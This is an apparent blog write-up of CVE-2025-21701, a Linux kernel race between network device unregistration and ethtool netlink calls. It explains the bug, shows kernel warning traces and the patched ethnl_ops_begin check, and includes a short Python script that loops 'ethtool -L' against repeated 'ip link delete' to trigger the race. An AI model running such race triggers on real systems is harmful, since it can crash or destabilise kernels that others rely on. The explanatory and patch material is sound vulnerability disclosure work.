CVE-2025-21701 - Race Condition in Linux Kernel’s net Subsystem

In early 2025, security researchers and Linux kernel maintainers discovered a critical race condition in the Linux kernel’s network (net) subsystem, now tracked as CVE-2025-21701. This bug affected kernel versions up to and including 6.13.-rc6, allowing dangerous overlaps between network device unregistration and in-progress Ethtool Netlink (ethnl) operations.

The race could cause undefined behavior and kernel warnings, and—in extreme cases—could be exploited for local denial-of-service (DoS) or, in carefully crafted scenarios, privilege escalation. The vulnerability centers on improper locking and device state checks when operating on network interfaces that are in the process of being removed.

This post gives an exclusive, easy-to-understand breakdown of what happened, how it could be exploited, and the patch that fixed it.

Technical Details

In Linux networking, every network device can be operated on by user-space utilities like ethtool. Modern versions use Netlink (ethnl) for communication. The vulnerability occurred because the kernel did not properly prevent an ethnl operation (such as changing channel numbers with ethtool -L) from racing against the network device’s removal (unregistration).

Here’s the sequence

1. Unregistration occurs: The device removal (unregister_netdevice_many_notify) starts and destroys internal locks and states.
2. Simultaneous config with Ethtool: A separate user—with a tight timing or by racing threads—sends an ethnl operation (for example, to modify RSS channels).
3. Lock/reference use-after-free: The deleted device’s lock can be accessed after being freed, leading to kernel warnings, potential memory corruption, and possible escalation.

If exploited, the kernel would log warnings like

DEBUG_LOCKS_WARN_ON(lock->magic != lock)
WARNING: CPU: 3 PID: 3754 at kernel/locking/mutex.c:564 __mutex_lock+xc8a/x112
...
Call Trace:
 <TASK>
 ethtool_check_max_channel+x1ea/x880
 ethnl_set_channels+x3c3/xb10
 ethnl_default_set_doit+x306/x650
 ...

Exploitation Scenario

A local attacker (with the ability to run programs or scripts) could try repeatedly to reconfigure network devices while those devices are being hot-unplugged, removed (by an administrator), or otherwise dynamically managed (virtual, USB, or SR-IOV devices). If the timing is just right, a netlink request races with device unregistration.

Simple Code Example

Here’s a simplified exploit scenario in Python using ethtool netlink commands and hot-plug device removal. (In practice, a C or syscall-based race-exploit would be faster and more reliable).

import threading
import os
import time

def run_ethtool_changes():
    while True:
        # Sends a netlink request to change channels (replace "ethX" as appropriate)
        os.system("ethtool -L ethX combined 2")

def remove_interface():
    while True:
        # Simulate device removal (normally, requires admin privilege)
        os.system("ip link delete ethX")
        time.sleep(.1)
        os.system("ip link add ethX type dummy")
        time.sleep(.1)

# Start both threads
threading.Thread(target=run_ethtool_changes).start()
threading.Thread(target=remove_interface).start()

> Note: Real exploitation depends on device-specific code and high-precision timing, which can lead to system instability or immediate kernel panic.

Security Impact

- Denial-of-Service (DoS): A local (unprivileged) user could cause system warnings, kernel panics, or net subsystem deadlocks.
- Potential for Privilege Escalation: In rare cases (especially if additional kernel bugs are chained), attackers might elevate privileges or weaken other kernel protections, although this is less likely with this bug alone.

The PATCH: Fixing the Race

The fix commit properly widens the device state check in ethnl operations.

Before fix: Only a partial check existed in ethnl_ops_begin, which wasn’t broad enough to prevent all races.

After fix: Now, *all* ethnl operations are denied for devices being unregistered, by adding an explicit check for the device state at the beginning of every relevant ethnl operation.

Patch Code Snippet

static int ethnl_ops_begin(struct ethnl_req_info *req_info)
{
    struct net_device *dev = req_info->dev;

    if (!netif_device_present(dev) || (dev->reg_state != NETREG_REGISTERED))
        return -ENODEV;

    ...
}

With this tightened check, if a device is being unregistered (i.e., reg_state is not NETREG_REGISTERED), the kernel immediately refuses to operate, preventing any dangerous races or use-after-free bugs.

References

- Linux Kernel Patch Commit
- CVE-2025-21701 MITRE Entry
- Discussion on LKML
- Related Locking Issues

If you manage Linux servers, update promptly if your kernel is affected.

- When working on dynamic network devices (hotplug, SR-IOV), ensure you have the patched version to avoid instability or security issues.
- Never trust device state unless your code has fully accounted for concurrent lifecycles in the kernel!

Stay safe out there. For further reading about Linux kernel security bugs, follow the Linux Kernel Archives.

Timeline

Published on: 02/13/2025 15:15:20 UTC
Last modified on: 05/04/2025 13:06:18 UTC